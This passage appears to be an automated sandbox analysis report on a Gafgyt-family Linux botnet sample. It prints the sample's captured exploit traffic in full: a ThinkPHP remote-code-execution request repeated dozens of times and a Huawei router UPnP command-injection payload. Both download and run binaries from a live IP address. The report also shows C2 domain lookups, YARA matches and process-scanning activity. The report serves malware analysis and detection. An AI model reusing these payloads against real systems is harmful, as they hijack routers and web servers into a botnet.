Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0

Source: global traffic

DNS traffic detected: DNS query: vector.mineheaven.org

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: faBNhIKHq4.elf	String found in binary or memory: http://15.235.203.214/bolonetwork.mips
Source: faBNhIKHq4.elf	String found in binary or memory: http://15.235.203.214/bolonetwork.x86
Source: faBNhIKHq4.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: faBNhIKHq4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: faBNhIKHq4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: faBNhIKHq4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: faBNhIKHq4.elf PID: 6220, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKbolonetwork.armbolonetwork.arm5bolonetwork.arm6bolonetwork.arm7bolonetwork.mipsbolonetwork.mpslbolonetwork.x86_64bolonetwork.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinernetstatwgetcurlbusybox/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Source: Initial sample	Potential command found: GET / HTTP/1.1
Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /HEAD /POST / HTTP/1.1 404 Not FoundServer: ApacheContent-Length: %d
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: faBNhIKHq4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: faBNhIKHq4.elf PID: 6220, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/4@1/0

Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/6233/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/6227/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/6228/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1465/cmdline	Jump to behavior
